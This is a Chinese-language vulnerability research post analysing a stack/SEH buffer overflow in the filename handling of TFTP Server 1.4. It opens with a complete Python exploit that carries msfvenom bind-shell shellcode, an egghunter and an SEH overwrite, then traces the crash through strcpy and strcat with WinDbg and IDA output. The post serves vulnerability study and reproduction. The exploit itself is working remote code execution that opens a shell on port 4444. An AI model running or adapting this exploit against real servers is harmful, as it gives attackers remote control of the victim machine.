作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
软件下载:
https://sourceforge.net/projects/tftp-server/
PoC:
#!/usr/bin/python
import socket
import sys
host = '192.168.49.187'
port = 69
try:
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
# msfvenom -p windows/shell_bind_tcp LHOST=192.168.49.187 -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed
# Payload size: 718 bytes
shellcode = (
"\x89\xe5\xd9\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x48\x68\x4f\x72\x75\x50\x63\x30\x33\x30\x33\x50\x6f"
"\x79\x59\x75\x35\x61\x6f\x30\x51\x74\x6c\x4b\x42\x70\x46\x50"
"\x6e\x6b\x62\x72\x66\x6c\x6c\x4b\x73\x62\x56\x74\x6c\x4b\x43"
"\x42\x45\x78\x66\x6f\x58\x37\x73\x7a\x56\x46\x54\x71\x4b\x4f"
"\x6e\x4c\x45\x6c\x50\x61\x51\x6c\x33\x32\x74\x6c\x61\x30\x4b"
"\x71\x68\x4f\x74\x4d\x63\x31\x39\x57\x58\x62\x68\x72\x76\x32"
"\x71\x47\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x4a\x45\x6c\x6c"
"\x4b\x30\x4c\x36\x71\x50\x78\x68\x63\x70\x48\x76\x61\x6b\x61"
"\x43\x61\x4e\x6b\x61\x49\x45\x70\x63\x31\x48\x53\x4c\x4b\x72"
"\x69\x35\x48\x38\x63\x77\x4a\x77\x39\x6c\x4b\x65\x64\x4c\x4b"
"\x67\x71\x58\x56\x75\x61\x4b\x4f\x6c\x6c\x69\x51\x7a\x6f\x76"
"\x6d\x65\x51\x39\x57\x45\x68\x4d\x30\x34\x35\x6a\x56\x45\x53"
"\x53\x4d\x5a\x58\x47\x4b\x53\x4d\x77\x54\x43\x45\x4d\x34\x73"
"\x68\x6c\x4b\x61\x48\x57\x54\x46\x61\x6b\x63\x61\x76\x6c\x4b"
"\x74\x4c\x42\x6b\x4c\x4b\x30\x58\x57\x6c\x75\x51\x79\x43\x4c"
"\x4b\x33\x34\x6e\x6b\x46\x61\x4e\x30\x4b\x39\x73\x74\x56\x44"
"\x65\x74\x63\x6b\x43\x6b\x63\x51\x52\x79\x53\x6a\x66\x31\x59"
"\x6f\x6b\x50\x33\x6f\x33\x6f\x32\x7a\x6e\x6b\x35\x42\x78\x6b"
"\x4e\x6d\x43\x6d\x62\x48\x37\x43\x46\x52\x37\x70\x35\x50\x61"
"\x78\x72\x57\x64\x33\x45\x62\x71\x4f\x56\x34\x53\x58\x32\x6c"
"\x63\x47\x34\x66\x46\x67\x4b\x4f\x6a\x75\x4e\x58\x4e\x70\x43"
"\x31\x75\x50\x35\x50\x31\x39\x6f\x34\x72\x74\x70\x50\x55\x38"
"\x56\x49\x4f\x70\x30\x6b\x47\x70\x69\x6f\x48\x55\x71\x7a\x36"
"\x68\x51\x49\x70\x50\x4a\x42\x4b\x4d\x61\x50\x76\x30\x33\x70"
"\x36\x30\x35\x38\x69\x7a\x64\x4f\x59\x4f\x6b\x50\x39\x6f\x4b"
"\x65\x7a\x37\x73\x58\x43\x32\x63\x30\x56\x71\x71\x4c\x6c\x49"
"\x69\x76\x71\x7a\x64\x50\x53\x66\x72\x77\x73\x58\x4a\x62\x79"
"\x4b\x50\x37\x65\x37\x39\x6f\x6b\x65\x36\x37\x42\x48\x48\x37"
"\x4b\x59\x47\x48\x6b\x4f\x39\x6f\x4b\x65\x51\x47\x51\x78\x50"
"\x74\x5a\x4c\x65\x6b\x79\x71\x69\x6f\x6a\x75\x51\x47\x4f\x67"
"\x53\x58\x61\x65\x32\x4e\x32\x6d\x70\x61\x49\x6f\x69\x45\x61"
"\x78\x72\x43\x32\x4d\x30\x64\x43\x30\x4b\x39\x4a\x43\x70\x57"
"\x53\x67\x72\x77\x64\x71\x48\x76\x31\x7a\x52\x32\x42\x79\x52"
"\x76\x38\x62\x69\x6d\x65\x36\x4b\x77\x37\x34\x61\x34\x47\x4c"
"\x57\x71\x45\x51\x6c\x4d\x77\x34\x44\x64\x72\x30\x78\x46\x53"
"\x30\x67\x34\x33\x64\x32\x70\x70\x56\x73\x66\x42\x76\x62\x66"
"\x46\x36\x30\x4e\x63\x66\x46\x36\x42\x73\x62\x76\x52\x48\x71"
"\x69\x38\x4c\x35\x6f\x6e\x66\x79\x6f\x49\x45\x4c\x49\x4b\x50"
"\x52\x6e\x43\x66\x30\x46\x59\x6f\x54\x70\x62\x48\x34\x48\x6c"
"\x47\x35\x4d\x55\x30\x39\x6f\x38\x55\x4f\x4b\x59\x6e\x34\x4e"
"\x76\x52\x59\x7a\x73\x58\x6d\x76\x6c\x55\x4d\x6d\x4d\x4d\x4b"
"\x4f\x6e\x35\x47\x4c\x63\x36\x71\x6c\x45\x5a\x4f\x70\x49\x6b"
"\x59\x70\x74\x35\x76\x65\x4d\x6b\x50\x47\x32\x33\x32\x52\x30"
"\x6f\x62\x4a\x45\x50\x66\x33\x69\x6f\x4e\x35\x41\x41")
# PPR - 0x0040CC22 - in TFTPServerSP.exe
# 3-byte overwrite
jump_one = "\xEB\xDB\x90\x90" # negative jump back
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a" #WOOT
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
filename = "\x90"*734 + "T00WT00W" + shellcode + "\x90"*10 + egghunter + "\x90"*10 + jump_one + "\x22\xCC\x40"
mode = "netascii"
evil = "\x00\x02" + filename + "\x00" + mode + "\x00"
print "[*] Sending evil packet, ph33r"
s.sendto(evil, (host, port))
print "[*] Check port 4444 for bindshell"
TFTP Server的版本要下1.4的,sourceforge上的那个版本不知道更新没有,如果更新了可能已经没有这个漏洞了,需要继续google搜索找到1.4版本的才好直接复现。
漏洞复现
TFTP Server是Windows下的一款综合管理工具,在TFTPServerSP进程在处理请求字符串时,会涉及到一个文件操作的字符串,这个字符串就是文件名,但是TFTPServerSP对这个文件名没有进行长度控制,从而导致当传入超长文件名时,TFTPServerSP会在处理拼接文件名形成绝对路径的过程中,文件名覆盖某处关键指针,导致strcat出现错误,程序会进入SEH异常处理,再经过超长文件名覆盖,导致任意代码执行,下面对此漏洞进行详细分析。
首先附加windbg,发送畸形字符串,程序崩溃,到达漏洞位置。
0:001> g
(700.14c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7efefefe ebx=0022f9d0 ecx=00a00640 edx=41414141 esi=00000000 edi=0022fffe
eip=77c160c1 esp=0022f878 ebp=0022f8b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll -
msvcrt!strcat+0x81:
77c160c1 8917 mov dword ptr [edi],edx ds:0023:0022fffe=63410000
可以看到,此处是因为引用了edi是一处无效指针,继续执行会到达可控的eip位置,seh指针被覆盖。
0:000> g
(d54.8ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0022f4a8 ebp=0022f4c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
通过kb查看一下堆栈调用。
0:000> kb
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\TFTPServer\TFTPServerSP.exe
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0022f8b8 00403e86 0022f9d0 0022f9a0 0022f9b0 msvcrt!strcat+0x81
0022fe88 41414141 41414141 41414141 41414141 TFTPServerSP+0x3e86
0022fe8c 41414141 41414141 41414141 41414141 0x41414141
0022fe90 41414141 41414141 41414141 41414141 0x41414141
0022fe94 41414141 41414141 41414141 41414141 0x41414141
0022fe98 41414141 41414141 41414141 41414141 0x41414141
0022fe9c 41414141 41414141 41414141 41414141 0x41414141
可以看到00403e81位置的调用,就由此入手进行分析,值得一提的是TFTP在编译时并没有消除符号表,也就是说我们可以直接清晰的看到函数名称,可以以此猜测函数功能。
漏洞分析
首先来看一下00403e81位置所处的函数名称。
.text:004031C2 ; _DWORD runProg(void)
.text:004031C2 public __Z7runProgv
.text:004031C2 __Z7runProgv proc near ; CODE XREF: _main+1A9p
.text:004031C2 ; _main:loc_4031A8p
经过对这个函数的初步分析,runProg可能是运行程序的一个函数,接下来可以看一下00403e81位置的块。
.text:00403E6E loc_403E6E: ; CODE XREF: runProg(void)+C8Cj
.text:00403E6E ; runProg(void)+CA5j
.text:00403E6E lea eax, [ebp+var_4B8]
.text:00403E74 mov [esp], eax
.text:00403E77 mov [ebp+var_550], 0FFFFFFFFh
.text:00403E81 call __Z10processNewP7request ; processNew(request *)
这里调用了一个名为processNew,实际上这个逻辑是程序运行之后,当接收到请求后,会判断是否是一个已存在的线程,如果不是,则会开启一个新的线程,processNew就是开启新线程的函数,在这个入口下断点。
0:001> g
Breakpoint 0 hit
eax=0022f9d0 ebx=00004000 ecx=00000002 edx=00000000 esi=00000000 edi=00000020
eip=00403e81 esp=0022f8c0 ebp=0022fe88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
TFTPServerSP+0x3e81:
00403e81 e82c0a0000 call TFTPServerSP+0x48b2 (004048b2)
0:000> dd esp
0022f8c0 0022f9d0
0:000> dc eax
0022f9d0 2e373231 2e302e30 37313a31 00003235 127.0.0.1:1752..
可以看到processNew只有一个参数,这个参数内容是127.0.0.1:1752,实际上就是和TFTP连接的IP和端口,这里由于我直接本地测试,所以是localhost,那么实际上TFTP也是根据IP端口的情况判断是否是一个已存在的线程。
接下来跟入这个函数。
.text:00404AD4 loc_404AD4: ; CODE XREF: processNew(request *)+217j
.text:00404AD4 cmp ds:byte_41A530, 0
.text:00404ADB jnz short loc_404B13
.text:00404ADD ; 150: strcpy((char *)(a1 + 32), &Filename);
.text:00404ADD mov dword ptr [esp+4], offset Filename ; char *
.text:00404AE5 mov eax, [ebp+arg_0]
.text:00404AE8 add eax, 20h
.text:00404AEB mov [esp], eax ; char *
.text:00404AEE call _strcpy
单步跟踪时,注意到一个strcpy函数,地址是00404AEE,在这个位置下断点,跟到时查看堆栈情况。
0:000> g
Breakpoint 2 hit
eax=0022f9f0 ebx=0022f9d0 ecx=004191c0 edx=ecff2e2e esi=00000000 edi=00000020
eip=00404aee esp=0022f880 ebp=0022f8b8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
TFTPServerSP+0x4aee:
00404aee e83da00000 call TFTPServerSP+0xeb30 (0040eb30)
0:000> dd esp
0022f880 0022f9f0 0041a570 0041a014 0022f9d0
0022f890 00000000 00000020 0022f8b8 00000001
0022f8a0 00a100c8 0022fe88 77c09f8e 00000320
0022f8b0 00a00374 00004000 0022fe88 00403e86
0022f8c0 0022f9d0 0022f9a0 0022f9b0 000006e9
0022f8d0 0022fb28 0022fb38 01010040 00000005
0022f8e0 7c93003d 00245b78 0022f8f8 00000000
0022f8f0 7c930098 00245d30 0022f9c4 7c930021
0:000> dc 0041a570
0041a570 505c3a43 72676f72 46206d61 73656c69 C:\Program Files
0041a580 5446545c 72655350 5c726576 50544600 \TFTPServer\.FTP
0041a590 76726553 50537265 6578652e 00000000 ServerSP.exe....
0041a5a0 00000000 00000000 00000000 00000000 ................
0041a5b0 00000000 00000000 00000000 00000000 ................
0041a5c0 00000000 00000000 00000000 00000000 ................
0041a5d0 00000000 00000000 00000000 00000000 ................
0041a5e0 00000000 00000000 00000000 00000000 ................
这里要拷贝的是TFTPServer的路径,这里拷贝结束之后,继续单步跟进。
0:000> p
eax=0022f9d0 ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404af6 esp=0022f880 ebp=0022f8b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
TFTPServerSP+0x4af6:
00404af6 8b802c010000 mov eax,dword ptr [eax+12Ch] ds:0023:0022fafc=00a0004a
0:000> p
eax=00a0004a ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404afc esp=0022f880 ebp=0022f8b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
TFTPServerSP+0x4afc:
00404afc 89442404 mov dword ptr [esp+4],eax ss:0023:0022f884=0041a570
0:000> p
eax=00a0004a ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404b00 esp=0022f880 ebp=0022f8b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
TFTPServerSP+0x4b00:
00404b00 8b4508 mov eax,dword ptr [ebp+8] ss:0023:0022f8c0=0022f9d0
0:000> p
eax=0022f9d0 ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404b03 esp=0022f880 ebp=0022f8b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
TFTPServerSP+0x4b03:
00404b03 83c020 add eax,20h
0:000> p
eax=0022f9f0 ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404b06 esp=0022f880 ebp=0022f8b8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
TFTPServerSP+0x4b06:
00404b06 890424 mov dword ptr [esp],eax ss:0023:0022f880=0022f9f0
0:000> p
eax=0022f9f0 ebx=0022f9d0 ecx=0041a590 edx=50544600 esi=00000000 edi=00000020
eip=00404b09 esp=0022f880 ebp=0022f8b8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
TFTPServerSP+0x4b09:
00404b09 e8e29f0000 call TFTPServerSP+0xeaf0 (0040eaf0)
可以看到在00404b09位置调用了strcat函数,来看一下strcat函数的拷贝情况。
0:000> dd esp
0022f880 0022f9f0 00a0004a 0041a014 0022f9d0
0022f890 00000000 00000020 0022f8b8 00000001
0022f8a0 00a100c8 0022fe88 77c09f8e 00000320
0022f8b0 00a00374 00004000 0022fe88 00403e86
0022f8c0 0022f9d0 0022f9a0 0022f9b0 000006e9
0022f8d0 0022fb28 0022fb38 01010040 00000005
0022f8e0 7c93003d 00245b78 0022f8f8 00000000
0022f8f0 7c930098 00245d30 0022f9c4 7c930021
0:000> dc 00a0004a
00a0004a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a0005a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a0006a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a0007a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a0008a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a0009a 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a000aa 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a000ba 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
这里对畸形字符串进行了合并操作,而F10步过,程序到达漏洞位置。
(700.14c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7efefefe ebx=0022f9d0 ecx=00a00640 edx=41414141 esi=00000000 edi=0022fffe
eip=77c160c1 esp=0022f878 ebp=0022f8b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll -
msvcrt!strcat+0x81:
77c160c1 8917 mov dword ptr [edi],edx ds:0023:0022fffe=63410000
来看一下这段IDA伪代码。
else
{
strcpy((char *)(a1 + 32), &Filename);
strcat((char *)(a1 + 32), *(const char **)(a1 + 300));
}
这里会首先进行Filename的拷贝,可以看到拷贝过程对Filename没有记性有效控制,然后会进行字符串拼接,由于之前对request字符串没有进行有效的控制,导致在对Filename拷贝的时候,由于某些关键位置被覆盖,从而导致了后续strcat时候会引发错误,从而通过控制SEH指针,引发任意代码执行。